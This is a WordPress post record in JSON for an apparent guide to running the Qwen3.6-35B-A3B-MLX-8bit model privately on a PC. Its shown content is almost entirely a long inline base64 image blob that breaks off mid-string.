{"id":3439,"date":"2026-06-29T21:39:25","date_gmt":"2026-06-29T21:39:25","guid":{"rendered":"https:\/\/vulkantura.hu\/?p=3439"},"modified":"2026-06-29T21:39:25","modified_gmt":"2026-06-29T21:39:25","slug":"how-to-setup-qwen3-6-35b-a3b-mlx-8bit-100-private-pc","status":"publish","type":"post","link":"https:\/\/vulkantura.hu\/?p=3439","title":{"rendered":"How to Setup Qwen3.6-35B-A3B-MLX-8bit 100% Private PC"},"content":{"rendered":"<p><img decoding=\"async\" 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hxITsvT2pc8DvUweZ6E1uDBVcZd7LTo8XXrmavUHsLjCb3SqspBc+f2j7C\/9GSbKs1eCsoAe4JP0CregURk7AtPr\/8FrhDErHYQ0pRc3qIMPDf+S6l5IzXJHR\/YyIqsmYicdh5j5YJFI3WOcnyFauCPyGL6529uMABX\/bmFIViVn2bBIcWlesoI3Y5Ztvxqnw5SxYT6KaVYF\/4qz1OavSeAjo4n4niSfex4OD7p\/jt1aBAj5mxdfy\/2MJ+n4YL58pYDJo9YNH590nTzqcjQxyzFJM+AA3DM3rI\/aMHn9hV67Rfg7V7DRu+tA82JlJM2RxaxKo28mVmZo0XCR110nosN37RwJhIdPjCJRdcSoZib+GWGj3Twm9K01Ipv1bRs5UDVdDA0fEChmTcbturKnPjlpnGJhn2dFJFm8FnegYurjk4lb0HBfhOgw6AMhdomMuKSyg5qMTnSw1XkCt7wQqqrExy74zfTRHDTKwa8lrlPZHyDyuFJgQSUJELcJIXSLU\/hNl8X3eVm1X76gqnRRCsJoLLZy5gfGW5N744FloTbtv4v\/6GXA7+6Hvhi0iUzJMk51MtiDBAg1\/dFrfwspoPfT+UVAVKah9ecqP51PXTzjTLZhGMI6YnMSYsq8\/6EndvX39huJAwQ8oA+E2fGxUNAnU+TDP0YlQUOSt59nCd35lLZ99Ed3nfncR6RuXHg+NT2lTaPSCLxheniXN+Lct8g7WPCDXb2XKoDrxGWIEmQ0aotCpDA+R8dbQBrZ6D60EXGsYyNlmb3cIy6T9Bdgo\/vW0b7tXEzvQ\/d9H2KDOw91pRyCkkpfdialIKHaPQCy4tchYo37VK682LqKljx3\/c+frCPvT9QoJAYTjFNZOji5H3CMalsXpuohT\/oWc0GWcdJYkOhwMjRMMpbrIdxhMDh4mjL1Iy6XioYq\/\/DwZGNvUyuHv0mkV58zAm7\/5AqUUubgidl6apWmQRPXcy9w3R4TZ3LcFF1cl8NdEr1IEDyPm0Q0oQIEXlnL7E6rpUxR2ZinHibt0jb28X4PHQzsu6dXY1wO3g3XpSZDegORcU4nOaF\/fy5YSMzYLLtXliyeeUuUP0raqHGvqSJZA7kq80gPLvhwlAb0C1VNs2Jz1m7bWNdYzZcMQmmjJxu59BWx+b96dqJFoDPajPC0Xteq+eG2rHDcxrycue8k7ObKXjnJSmSIdLlFytfiC3Yvh3M1Mbmp4qAski2uuYdmh57qy6lsgKT9j4pXvw2uRPwAtuvTnFfsEQQjigmStoyPhshtJ88ME+BTZ2dn4P7SMp4vk7UC5rTEpG151ag4dyJSxCeHK1kBMt49Ryu2kU4UCp2RxRpRqTdsRsh9qsjDwErpQ9OQQaqYl2GdM4UIbaSHzmLbKAiQNuQCh\/GYYF74VYyEw20geM1cgLNqhS5JmDWhtt7K3INI2eytz56vp5Z1TxUwI53yMV7ZPm3sct7+BFgmfYXZU1jonc4C2fpIHbmaxrlgzd71RRV+9bv9GqSmcisCVpKKdx6khKftpF77+ChxT41lFazeKQrEE7fDb08JfWbSAHHwNrFtJluNh5hODC0+\/fTN3m+yNtdUp4\/7eqfoccttRu4VXMH85cTYbwZcpnD\/C3+g\/6tcWdNBy4zbTR+5aNBG7cvEjLoSsK8yuUR148kP1\/C98pSTBmcL8x07hX8GIXZUe6RqgLWSmVEd0dpX8ByxS\/ySFIRdplRQN0v9+ezoksJWEj\/UwkJc1tmwhzgvLordizywl\/0+P2C\/PW9mIsgTtIxue\/s9\/bBFXci\/oMbQPB49Y4Yadz\/D+c5KWJfXcsMB61nnsRJndThZnO7apxWC8Acx7LAhruPEI++xYein+oAExXCUX5YLG8DzxVBTJRS3sHXk4FCHH2w8QWGsj58kqI6yCLRfLlcFIbQFXUDEPmqnJ6uzq6H9iuDtTUxw47t+CQmS8C14glQG4zGIuG7l9yaJO42CejIhygGR6ALBhRBLtjVIr714Ws7Zic1stTs87\/CJIEtVrJFaLqZmZN\/hJN\/rrygv6HmEkwp80HeHbh3ayiVT4i2qFSsgbGpV7pEx3M9rJAWmdG4g6ioAyl0WlrAGvY5ootDz0sEtXiQFwA7o17jTlf7b4iv\/GS2eCL\/rv3why6xd\/mitfN1uSFxOS0c9mohusrwFiowmTBAa6CcBpZVT1Aj0HT9EhlJAR5Xn9NlcOop20TrqcpN5r3Ggwo\/gltpM220yoQkwY3dRkQ+C5QLsRzvh4KGEi2ZCQE4syiABQOONGDBBhoBxo3+O+MGVTHkt+2E8JWH8V+mg6rVnpIQeQVnGk7gNx4Z51+x8LNQjR38d3zbEIRoG+19dt\/csLoyCezFxUSxY\/vfC3vlvN9nWagBOW\/iYREZEteV2FjpUTrotqu8F5\/TINkX4tmc4galL4H5yf6cybsPyUjqvpesgmPOKE9IMDG\/qffVNh9ja07pCPBthI+CsCNCyBKCW8Y3C2Toc62uqQZ6LMsnr8T8Pu9NOpuhrXYCh5Btf8lh+TQk\/gKr9ri3JS6qDdqRq\/+BqEJcjX\/ZRKsGtZWXstUjz7tq2GoEWFwnFTdNYejro0Xt6WTbdGcdTW8B\/8MxAudsz\/O6WMagrlyDyETENlRxK9SlyCRjc88COQdnC01vwAiAmsI7dz6e\/+lVvuBE+VzPt5hVeBr2q2SOwwyb0DoT2cw3bMZHLl5Od+G9no2I9Z\/KzczP49F6F\/iUsQr0H159LW03NVuOgrnIUlLlq9ezgug7BW5HjBnWXW0qBnPj2aNyLaDbLsCXGX9BsjIHXBbuvJ7DL7uIXhj5NIs46hZhO9WAEypU3Vff+ouDG5n72UMsyROKrNrAe\/DdhU9qwA7AuUh\/bNnvLVX6GCoehG9jeeWC59DG8qsigA+qdNYXPnd57um5rLx+5SXZw8ALT6CHuzy8PtBR4igHR1QyuULL8bol7awLO16isuZqU1Wp893b7XDi4bAjobaNa4mw2JcDhT6JybkXTNzLlJaDimebx\/eG4dgQnAAt0Pwy3gFlZJic+rvIIDa96rdvFakZBXSsYrmFMi7gIZ5atsE0vDkraMIqLEQb4Lb\/a8vyZ4LnRkMCqKsf1ymBBqGrDg9aVUpzCkb0cVp0nYBVBE5Te+Wn4dTIfTuPBd4ORfX2TbLsEHGmr\/lcD44iB5mLeBX9fZgrrndsl8257kUluXa4WMIFcjrnWE+8+lAogvDx28y8yPLqVCQqEWU7eqAW4dmFSjr8DP8H70\/AZhayrn1TRlqFKvOBwO+Rb8IGckUz1bIdcBB+NVVYp1dtMHj2oXe7IR4akIyfMDM\/JUCIAO9T73oUMLTpoWLHviKkaadRifr2pUYNbL+3SLhd9sLvPLR8ozbnaJkxv\/ucMcEkRkhydWRxD4p1fJTX10fDZuC1+qJ7V1rRtIwMCJ371vUhkx88CHckgbJr9J3wgaFL9MyaI\/B7cF3ovpGzwgnZQcBh6SAiZVrNRJXmX0HLfra4oj3zMwDN2xdy3eGbQOBLlbC8kFNND1UQnXL78pmztP4L0YeiFALzI8Wi\/HQNBr+BpwKrHBdcVzMLUyszLJMzvWkQ53KRVvvFtRnPXFSBIdcVwsjiVCBruVOHhKcQ5ISF7gPVG0BXmZwiYUbRhQH2iZpzhKi\/Qwr7oXQyhe3XkuT6lz2XW0Wox5LflxbwFjLsNbMZS52y+wn0\/Jk0bViXUSLJs9dpu2F7+ALIweZ3mlLvKcAbnYgvMFpAS9yaKDIP0ZWnjSGpmH1lgEpC\/AXZavDJquLGfzRQ3AvwHkrRJJpmahUecXEX7wJD2LaSB6lkpRSymsL015Cuq8e+\/8RT\/lxHVLTAsrYxTlI0B3CuyVS0ikAjVZ2OxwNvasuZNfZ0HRWowXJLpYuZKAmpaEJegBgU+2agZffF1s+wjncru1ojUMG4Jt5dML15iuCgWQNlyl7D\/+j9xKjgx3eU10DiX8V3q7vDYiATO1hWvOc5fHlGSSYdbkWq60hs\/kLtPcHH2LBXGYIWWclR9CcqS9EfyjkZKQpYD0Wel1CCofxEx\/OjUid4pEskM3Sts+YfmoNQR087nkspRCoT8rqurY1FVy3M8OBmdeAbf3URx+OQgcAfvd1GRD+4YVYLrXN6SM03VTxCwqHooRO0YVw4O7yGOx4Nh+iGnABArnSzKRhOOEztbikAZIfQfrrjghnZEPC\/7Nx8\/ZYTZwGVjk9ubqQrzLjYHA+1ZQAX+92ciYuDo3zZS8\/xFDtcQJHLvlA2Xgsh2SHvnH\/fYYjqM9CjeDz4SN6CyfsQf\/qbtY42PxteksJ9GbH74LjtCeTBSLcqDpGY6Q7KTo+4CERy1ig9R2DJ6FvWOF0+lREm\/MwOXaI6OmwfiukFryh7Wa7Skg9FRUs8hwBH6LrAYw6P4\/9gbH\/OnPkf6GgZ1ddZ+rGBSskwL9rjhjdEEVWrh9j\/USBslijOwblqO8kzNr7alpRlJ0RW9F2eY0jDjRxFIK8\/yZcATFmMtIv+ymnb6Nf5YbKdG8Ame\/1tXQQnhWHRYbHHRwtiEuBHSesd5PfwwEwziN67Bwtom1foyHgDC7S1q2RQDftkCIVj76vWhcsvxV+9CieNI4PDuHIEOIUQpt9p52jlIVVEWdo73\/kOzIyxH\/+TT\/hapfOyPvLz3\/jCIdESkZ1DdT5zB+LQo5UMMPOeGUaOx0klM7YxRQ2372IGfonqfAQRyTkATJ38KoqbU5rxRJ8gyhnzqX3AbUKhfMgIuhMmd4ZEZFn5+lHIhgtxV1EnIyoTbcaf4k4ZFktYBy4o1kJ82X2B6BZm3u\/KFMB3oCVJXhlgqUQOqmDVdqmMXbN3jjLrKKMToCN5WJaRe+eOiWUNTh3p0Ds\/WTI+Hh3NdGPWrTffOqokK2btCusEKo7vV\/WCpzK\/MkzaeBfAroYbj2d1wxuoscgqQdgRu86Af6UFZizpX9Es7uzh6S3oPRpPUYOmu70poenKUQomWowRGHQORTpCSDmt2wGGg6mt28Y\/mkQrPldcW2V\/O7Jfaxyc+KNz6ZAQcrFwkCJFnINO3zqSRRlTj\/qZ6y7EqUB7usr7VpNIaYIvZ06ZuiFI8h\/srKC0FkZQfPzDzCZAq5eTdKScjJWoVCpPJrx+HwdgSV0Kkw7sZC6URHL0u+z4P4W6wXo1+hZ9424WrDrtEo51M1VUaJPQPFyEoHN2yKT0QFU+DwrZVDN5qCkIhqtkIWihyzb1ASnrcWtuHU\/fKcNEq2KQUTAq5I+10O+D+rZGfXp5uf9ZurcViSrVrrsI\/ecUcGLEAx2cawW90fMHKkBhCnD3QeeSbomcq+d3QEopF0eW2b1i3iXpdYewY7fpzf50\/LS+gEC4suCxmC155foBS6FeK4iwoXZohKxx8186A81jBQNKs8WuXtyP\/Zvy9ie7RCCNxnFJX4hNhg\/mbyAFM3IAKvshnoy37H3Wvpm8x\/sT5W74jhKreOCpaFtaBz3+XEvaxl0Xl7yPdkeQVxOtCF63zy8JpcEqXO8usw3V9wWlRLGiZle0ghfL0DCCezVr+WatWOnfuxcFdIBy5\/A\/3DP\/0LH4f+iEY2qm2mKvWPO\/MuhJu5czMZ7VNmrI8Xk4qcP0PbTwhSEeijCPJvdCfksTJxNadLnryIO7RoPhHtahfiAKFVJBTPDL3P8s8Q1+fxMIjv8HhcDfB8liiJ8txz417JYPlVRY8gOwNmgXBQlg1PDqhvGWvLu1Z\/m5tPnM8g1jFMBjSrhM+cY6YQkOkXS3HfSHyEAdDEPe4LID136rzr3HEPQu0bMv3zBBfDmR1rQ4meQ+mnRJnUFWVHrBL0c7YeKY9K\/\/XOyqLbIDOgoNlvfkzVP+MUHxoUaSULDNNun+7OzWJEJ+sQnfJkiraSfSJ1kp6a7dju5Sdehuhjg55gBOvL\/7FsKivKekLg1\/HvneHiSf0c+pJIZI021YnIB2vSxGOz3NSsEbPjLR0CjVuPj14LQ8hG+VA+SXGdvSv\/OY9VTK\/GlF1b577uKNy5WItAuH8t86sMKczTP+iSNA8W9k2DrxIQDRkmpC8J6pp+WNFpxzhtZYAAhQst3eWltGcljSO9uj8EvThoJM7fNs2Iiz1in13KLkOsM\/5mR7haDJ8dQSeJ24C3dI51LozgS6iswPA811Oq0daH1kDDq6BJOUICDBcPz+1vv+of1lNdBwfDl9uVIslvborVcMhS8X8gE0B85WyxWY4lhJuAFVcdJNZIWHCy3UXDaG0IHiD56pAwXRtp1MMf4u56L\/ItgY7l90wWelaOvHOtAF\/Yy84KPjkG9YTEO2FxeP\/s\/l\/uYaJ11JP4olLC0U763duMTGHyk1EvTiAwR7imeeeLZWeG+A7AJZHA5g7+5CF343khMXFUN2GWNliTdXHwGT8enkWjlV1m7BruY\/wVCv05nVjFKykRdKiKacPwRZhQMng4Br9dJU4mrafpUKymBggw8PbK8ox5+2uIVq3c4KrmQUzIRTZVFZ5mxduO4Z+nCduq\/VamK51ioUJDjd\/yK4zzn0OHR16SD8zoITPU\/d3QeMlQTxIwGdnK8Ov8hgYa8QOdxl5b2HEJ76M5lG6BA65H4MXhM4Q0DTEFJOUw0IhZ9lTTKwZhjNT8zhF8Qsvsu1UPamHwVTfCbYrZYnr+l29yURsY1AdJRaVgWPW+QNlrx0cVRRZce8wf7tGay5of1dXHY8HhkVrjt6BGLzBlU3mA39on\/c\/hvuX3igegN+3gciVfASiz5vAUf\/E8E2yGOmZsvFMXbuOJGf8LNbyQSK0Vqjb1dGdKQzuxHnFg8j2ftBRliCCzjByzYMz+dZOyHvbTsHmeZd+6zl6uJhHlNcxf9OifSoEobo94DA\/nPvhTIuoD2\/yma35tFt4cJtZzGd9wSaRYw+fClY0\/HJh\/epDYPdjGWGm69z9f1CPBP6PVWjUrcwERDEU5GAOP\/yzd91WoiD8aoXaK5+PpV+rn55w5pUPWFMmE9Fewtr8492h\/BwOfg0n0ySNpzli0ChxdnnXGJjZJqBZdiFBFHfP84fSRAtNdvIvvw3kLiwSbdebWvEtTfy4eqTvuV0lN59DUOo6NT2TpyJKk3D46mO0gVkCBAMdYTL5pwev5ym1rMzURmXR99fO2hafeXH4euuLEOLcMH+UZo+8nFMFfCr0af8OqlT9tASshjblnYKPR7mTmqkYR0MAwy3aTYdmfehgOx8J7seuCVf2X4IZKA8rqCBWQdG8RQYOxcrtGpz8OZmXZeo\/TOAyD1hYIFvZ90hKLme\/yj\/P3Thr7f8ZxUg6hLYnNA10UPKhDTen\/fxsjQd2xRZ\/iEAH3fHYLGNd2Gxgv7xALkyXcwNfOkyhugIyNAhM47e1nfcFIkVFbzB22feViPy+7ELLUpDUHp2+XmIIlJi5c49n5RpFOWOq2p3wTSwcg6Dk+asPJpF\/4tNzX\/lAWAsYja8gIq0rGzVzfH8lguoxq+aJU+ntk6ugTJiCWP9hl+K9m3ra00Z5lZQVXhvQokKnqLS+1UiEIL\/h5ENTW1RXCRGHWgWVZ8q1kBLXaWpWL3PzXJqqST85KaSk3ihVvN1yTbIliT3t+z7BhC1KeZyqOyPb1\/rjO3TUziVId82kRN3XMsmjiVGJqsOz9qu+aiIP1\/Btrm9RM87VkWtbs21oGNd0amGyOho+XlmmQ7Xeb7n9QU\/t3A16nYuLKzIHiDg5ikZ916KYzoaFWQIsxs4jYDmr6kmzpxwFfwPpWHNKZn2gxGsPu0skXtjLHGenQxbxW+ZrlSu2IV3rYvD5t921bQBUr01zOi1Bwg93wN9+el2irP+aKnoPvefK\/nCACaBaIC7HMapY7rta5toMR\/KdpbShDCPcFjbkHJu4Dz8cRoYvGpLlsan7w5jzzLOM+aUJN\/ENxH\/CnylKafVtI7q3wXBia09aLiFafjUK8Hc9sB5bRd7RV+cavflKwNPCzSfuruYhEa7WBTwlNBHbx7KGCTIDe+uxOERiqlSpKxB8nhkXRh6xHIkcSeCMfdMwN+IQMJZNElrvJfEC42MEBBggxNDKQa\/RtFy8V7a0HH8suyibcuW4OGmgU+b1qBWjcf7kdgZzaOPT4aQEq7GfSDrRaLvUf\/TCagn74jvUkmUhQs8alvShPoloc9AwsC8vFEsowdJhSp9FV17t3uGpAJFTA094ZdWpDXW4s\/8qROuNeiRCzlpWLH+MXLRsgMEPQoYLzhJtwboY3Vtm0ixBaCZ7sWhHKchmEzoVWtPjx0A7t8cqtb+b95ofzqk3XlPK+6DrQYh3lWqnrbqqUHsqL\/RWF2NpLVhNE\/cWjLDXEKGpf+6LCSkdsQ0WGQawn1w8xuHQIkcOG468cP+hV6ByyHpNb\/D73XNeAil+HZxIh\/W7if50PgQQxIo6FnfTpkLov71cxaGZLmTeBP5CwhI8X\/HJfq\/c83SeWwpvS4IjfoWrWAFrSHeB6CL8JdYS\/yEB00mE8p4NEIevCppb6Wzpe7yakAL4mkpAdNt1EOuEHM6eereyXQid9+f7NDoz\/RsHBnxgIEaIk6n7x20+DD8jU1tFyxOOuEWyjgY+qYgZ0RqJg4kB8JBO\/jZ7\/W1XG1QohpOrG7G7s0oyrN5R23OptRCHR0R7v7DL4GmITXWV75ofFWGVb0TMJkHea6ABESSQI+yIFAlvcShhTWkIR9B46ywOFutRDVs5oRcr3Kqzv7MfXIn91t8jkr9qLNBiWLHxiM4QSOdPL5YfoAUG9yMUpFyruxW3JYXlCpfLqXnuz1g1oV1QVoC07eSNOVYEZXCC4A4mHXs3qGSBoxyoSDTbKQvS4G0QPG5olKrEMKi8ddf1GrFlHEpOKtbvzmLF9qeYDX0RB4O\/u\/+ximPXXbTrIO81CB+dW5tbRJMDv1+DdSt6fq5Lnb\/o8N1N4rerIDncfHsRH47VUZzk21cT2HW1piriZQsceLSfwp0ZWemivTAcPtp238+Vyh14B5nXTIvzkRNjhz3nidFUw2qXi2lS1ErntcSOM1ftLaenfVJ\/ukSf2quPfXa6XIT6dTg8Ic+Hd25er0I2zFrdKR\/8slkC6MyN1HkELCcR3\/Ftm27KlQ\/POYOz4JZIslT7Dlonv8EnPlZYKP8WVv5p3BEh5wINY8ZXqYkb47aFkYIY2ffesu+Jlvi\/579UVgUsfd3cHDog8ol0ksy9L5JrtraMnmxqGRvY8N\/gwJj81k9Ay0aGj\/9T87\/cQaI8FOLQJud7JUI7d37AiQmanPlqVvyapAa2LF\/kzih6JLyPy44VFoLvgnP4OxKbhOK5D\/hVUnI\/i3fKW0F+uMlZGVAsFwTJ6Qobqzlt0Vw5IaKaf5ksI802lbiAjf1My7r\/tbt\/JRRZotxK+aQ2V5dHGtMIIiKH8NDQVNr7ZLNnTyje+E9\/3+wA4vZ7YLpg4QYBK+HQSQkHhxYPzk4xj0rCaVpmycQzwTn2olucGRf0GLp0aJzPwX4MG+o9xVsIidPCkr25OpOKtVd7tNwwJ\/qhUEukTQpay02TDB546\/oVgJ\/9V42fRx23FK+9UjQfz7YP9ALOlR9EX681aNxYNhYAoy4BYgzRO4hxYyq0qGrX3aR+ls4BDtHMw8s3mSV4uHHaOOMOywr7IfwcjlfeL2B34wXHfPwXv9SmsY5VNvEOpyDo0ZuLIUbqRfV1GdATS0mzONpbeMKiSGjgjo3jv8V5bX+kprmtbyd1nMxdPewivNwCeG7L+5hRTuAGF1+UDwWS4gUVmO0VptjyCV02TRHd4vfitF45iHJjxLkIaX6enOGUF6u8k8\/MnaV3eI73zhySYbJDngqrvYhI8qHdLHDN7dcWfMS44MqHTiIGIz9SHcLiSVMdHlXSlCpCAxonHa3kvt0ODuMnDwb41f3Cxcn5ON3pUcZHC4w5vG5Y+9DdOtccCvnCdE6CCPFQUKoYNe6wIKdj5VoxmTtaF\/lK4yN251vYIFZhNfCGIi8uTL01WtZ9nOesJ0A22qiyjqllLGpUaEqyqvPNNFNzq1klRXW6QI+Y0C1evPh5w8DgIQebqJguDRhPZeGxv8UkUQrZUgYv+ltrHk4EIAKUOKpcMoIRz62JdD8NOP0Tj0xgo1cPrg\/1mBXUQLbkJKuiDT41+feCut2GLsnCK5XXyFdaDh2LO9P9bAoC2WtfBMUsXpsvWAFWhA\/x8avdxqfiVLQ5pKFRuBCr2mUJ8HSx\/WPPJRhw+ax6P3B6ElaoLsYKY9nfIOT0rED3Y875pv2qa++L6iLhNUq9D1MwaiSh3mlIL0kTo4F5OxU0nPgd0Lso0Cy7c0Wkq83dhnQqCBFMrgIsQDDlv+Bp4lCf9Avs0D0SYWfn3qS3vT9rCam1cgZkt5LGnGEg9Ftn6\/YvSK3UXyMUMZD8R8hTN1Nz4XDvTiiVmatArUU5TsDTeFZu8f22jfBX3ZraQd8XwLhwUwGAiccaa0vy1ByLX5ilCZ07YfIinAylgPYIYEG6od4Myfp4sbHhT5Q1Jeh4Ue8lCf1ecEtJRAolNAtZ1YGPfaUZwGDzUi5C+5uwS6IrL6g131eTLFTZPGCQtu+uRvxAxmldQaarhAAobVGTEPmWh7Mj\/6BkcCJr709zJ0o8d14n5tZGUmk4kQGfEklfVRt7KaY\/vw5\/phok5P65kNX3bBjy1WkraR07fVRsWvR1hYoRgMSyqYDDWFIj0KxBucpEAUPdTwRpZfvr\/Jf5wEocyiiuadKrCA4wDjhGfI\/qktPLCijxPy8StwV0nhNk7q0qPW2IBk5QZXYT7dGLrlgRSr+bdcGl4H2rRoGaWfcgfgP10m\/4xZbfHyivFxAfzz7VMrYXslhbtKvl0ZYJQHQTboC3YV4fTIgmNZLeSjII\/jWLeMP7SF9x+7SViRuT6n8W5hFIw2G7DXcuiovEZFgw83GLww3mPvs\/yxpnPnW6UFWBSfGh3T+ZOtv8VwVitZogJKOvBt+DztwXjms5g67mSTfiBpjNx5OSac1VlAKvJn8QmTD18hiGQcNQ2hWDzork9nCOud6uRE71bnBiKB\/csxQbGmDtnOIIgAYfbSNxHkfkxMzcLPmEpQQKxy4YoSPmjA4qjHXIi6RDjMDg9CIBONXHh2OOKqAUd\/3V2faMAwU\/dz9aZfx5TAAi68P+n6EzLPObsaScg6qqX3uSFFDIdaqv8dd9MhNcUOhGMprv9eOOoZlUhNFbq0h5gch8\/xmopUuzbdfpTaxccVtB\/EEw7CTRmf\/tR5jMdHIu8GOFKMsq+R434nv\/C2Fxs8JvWXGISP5h3VwQNHDC8\/nPkZKOHBG6kU1Qf5yIrE2wchzv\/ib4LjXycKThdqqn1+BqiNpEIe02FRy9R7JBMLRIf9o\/hCPMKk+4C7N9DZhYeyAFncRGQtyV\/yOFfxxwppOMMCrRpTCMLWGtcxuieZl2bzrXX823SWsEbDwxLmYKgDmL+V1k0K0oMqNU7I6atKELIzzKOZ\/27ZdF526toKENfgx6wVlelGvcKafU7iI7Or2TYEvawwoTB45yUxvd8Tr4V6n7p4U4LbwRW6r6BPesrQajsucSH\/qNZt7DLW9jRuQBCqCTNIQqW+SS0oVOVqaLxT7YmtxFZHbHWmUIX5x4Egs+jeuz7+B61k2368kNLY7EerUiNamid2eP5rSy4O1PsE9gy2U\/FIQUf1rxDjFTixdLVWIJ82+Z4+1+Q9MYjRrWxulLAN1lZ9d+NmqayxLNYs46OTl9zvotNX+BwM5P\/1GAWGyMIHfHyMJmXGgDblVt02QU\/UO3Zpn04VRs1ACY4MNvoaV7McnH1j\/o5Oz34SpAutT0GfObeS4q\/wvxdzX8AVFyYXJMdcnLoK2xaBMdDmkIIXKs1MIyV6v6m3UXT1iGYzA1tyGN4WQG4cBHDv0hO6CyMs6dtFRfkoPMldaCeiuakaLsgxp+eCEh8rSItwk+13bLDjezQSv\/H+Oilf3qDeIw3KAFgoEk5RQIFkmlBwweqjVeZHOBnDDfIpbX1MLGug686ChxQnaA+CO0Q2c9YRIVFrbsyf29FXWDWbM89Dndfsa8lNDZGw4SNspkkE61rVO1REQgSAVSsYNPdiVZruf33VUX9IJxzFJPLGDxIqWMfqde+exU5SlnULX+kqNzxujjJo7AjM3s1YCKVr\/uTMQfcLPtvl7LwLG6ve+uY7sS8fEey7tmEtvvzMXrFjiZZg4ozjdk4q0zLrOaBh\/wDjZRHvR7uz46qWlP9NEHYSV8ienoIQc\/ZtsLi6pSVPN0KZOYyqXGNouOxMnsduVYckdZGxNWD0ED0IV8WsCoX6sK+CR\/MOoxUT2fkWnTgY6ekTMXqMKj1fftRcPD3rQm45gC+Nzyjt1v05S1gzEhguwWQql5duyMWxjLsf5OZvoE+imarYFEQ0aUVEMFJ0YMXT4HsAS0vcAdxsDN9ca3\/Rk9PKw7wrZQvm+jvURCNUiz\/mskwG4wSrh+c5IbOhh9jVTaIZ4M8j8pzxD1fg9n85STVano5HFIU4JChAcKFXWhA4KAjBrJhV0Q8IyKQi\/GpelXT7X6k7y8pyhFCB7271mWIEW0BvR+OWK9lniu+16akQWkmOITAigEkjml7AQBd746EUz89RCdStn1Tg4T7D2jZWx3qx6Nkj1AhSQi5Y8mIfF0ogbsFPK7JWkhPxdmeQ8ePnWp6FE6jtr7b0tPtCjHGdmuur0U\/\/en3tDb1QhXi2nSo5TFRqqk4iCmI1rJBoyUWvK0NzLO40KQvKJjIl2\/OXjg5SmSiS3H2B0DZrYP4x2RUASKux0Ua8z1Hx7K9S3Lkiovyx1p4QZuwqvdXJiMs1dnc3TtQzwrnm442dFy9\/2Xm0KhoOQRtt9Dhuc0BMtCmwBzrqTkFfhTPA2p0O3b5J9iifoPGgDDKMuDAx2G05u6g4bOLPWv4Zah4LeBpUxvPdDD38Gq3TxpNENkRj0O7h\/IZlpYNiwHcLarBZErvRWkVfsB2efKbQKU\/Gm3\/1qriJQWtry2YPJ6tkGTj\/d6Jxm4o0BpMX5fWnx+MgC\/sKYtjEq2hw33hIqYDS67GAAx7uPCPQAARfcQCHa9Yqbv\/GRO1ofDljlBLY+B9x\/e6d2ilvQuNraSx9\/OWP7NrZoJlf\/914CwgWHRZAUcLEJo8XoliBsVi6662hjXpSqfDOzXTaEZFUzn5111wtnt2Jc2qP\/TbIKX4NTvVMAxQF4N5nfS7zklDezRKfQQ1RJhL+Wz+R8gXOGt8wDFqFTokqlTHx6+I1CgLUI6wTyEfQuQyW\/ZxhTNdhnksE5f8dsXWQ5FFw7PPy9vSD+afc1vaG7EurWkP\/Pnrg7uEzSUm4+FweQhIw\/h4cNTAEbFCTowiCguNxJR0+wPKA6RXqNpVtspSM5uyhF35liR4r3exTj6vW9UpzROb2jZU0nuu9h3WSFS5NiByg33TCyABtvFF85c4TPWFEH+W6XcEfjyurAtXnU4E17Vepz57NZR9cn51LZ+C7U\/LZKnru5DVC278ty25YbfLeGxlW8jqS0pE512ht7UJci1g5kyezRUN4KvOfyXm3ITg18m3uYhkQ1r69brXhUR0d8+MTcn5B0p4B5GF9ZuszgGdBlv5L5exxk+UbaOx7Jt5hvCeuhHMGK9hajGFzLWkXEeYajp8zG18UZzfPIT27W7UAeGRENCQHNCEBpCg12+RjRTcyjFOc1SHIUUKixObIC8NNhYcpVizySUYckI7OstX5NziuOjtpoCDyd8Aiw+58FPjwhOhOlrdX3neYW2nTj1fV7UlaAeJRlciMc+FcwP88GQmSAlejQznkA0fqrTtLr\/8uj0WTlWyc6OH2UFv8325uYyNDlUx2cUxUSfIOr5ZZ7H\/xXe++nS+aRhmvmyQvN3ayHlnemHdsi\/XGHKfD43QIh6fE5qTlUXrKNfnvs66ilwasxXZxwUUHKtE0iXDmQpVBLEd\/z8htilKvxfuO0DZoulWd62J9w5WkxQ8GTqlMae\/nqESBLB2DJ5sUKi204+wzk0AAAb\/cbFR1zyYItZQUacPvveoAAcO+TFVgLnAeCH7cZvEGg8i3tMUcEiE1burSyt8QfW1opAGBrIxJH5XV3DDehHuc+V2kD2oMvoxCGMca6x1Lu6RsGnzalLmtEu2hMO+Dr9SKKZaFtya4AgttMD+7aFRmyNJnG8Mn+b2AKy8zMtlV0+GEOQyep0B7awS2092xFGH5JCSfZ\/\/V1QsHg7zIBPjX5iYe7nGyGeU8aygCdphtgC6ZRZhX76wEDvvmicpjoVow+JvSMJa5r\/YvRrdyskLQxLSwcwcR8ESnSFJX164Qa6v34kPJuSzvx3IqZ9bBi770tQjUENakzssBhl1e5in2bSvDZcWatl9mVAz6MsQmQziQ9ryxMYRw6qQl5q9i1X1fJ9c\/XF7wwWFpjkLDXIddLuwoYSlKcJjTIioghPELOoNuNgwEvXty0dEa2zJoa+MZqGXT1pHnYQufPvsjKtnTCC92XOiB00oPaQNx11pPocpdO7OTr4PZZEmC2qu2zbSlw\/zVkCMNeQ1ml7GiiZm+TmJAZmitAERb3T20e5AvbvSdf72SxFVRF8ApAzUVb3hc6UwJQ+uxQ96RhPMVwdi9FJN26ixpje7UbMJf5iqQOtI+nn\/84TPDFIWMZdjxlbdsM2+ME\/2M7XKVrkSKY2iZX4V1LqD2aWBbspQhQV2e\/HEZ1\/QOfHR\/BRyoYAY78pgOOqYcX5P2j+FUSZDMWPRiL3DOrfSXx8ugNP8GUbEg2kXECz2DQ\/dL\/GLxu47Fs1y\/ppg9pgzkPvkw4bCd56yQ1fC6Y+Rs+Kcj2iBJPutMrkgW94h7GhBTbRsLllOE+aE3ShIQHNu0HbSV76iI3fbZ4sgAAAAADcK0sAwyphpIbNfz1u4xLxN0v4r24jzk79xESxfXf6e7VaLmY9D35fq\/Yeu7ZvavnvNkiL2aUjA7HobxdN9xiBHKSwzL2gWZ3PsY++SICmvnALSc+fUZBzP197TGnEYutZXeagZQL+aecN42k\/QsDHJkfCr9H2AAe\/IS24RmFe5EvNnNwlYp\/P3oDKTg6fX4cDdKoKICDlWzn\/lBQ4MbT41zsckMOqjniZRXIdr35g5i7M2McikBgtiojVcfAReblBeNAApXxYfKZwrc1s9W0N\/RMh2Xj4aCyrLuoZNE5aOIz5QH7hxlSb3HPtQaHf9vWOAaVV5NSApAY9PrnMiC\/gQ1RbBnvb9ZV7HxCPYeVu6AKpCh+VzQuH9hmbscfRHbuQr5\/\/2i19eRCfwQIAkYBtPHMlkW8vATdb1cIKb\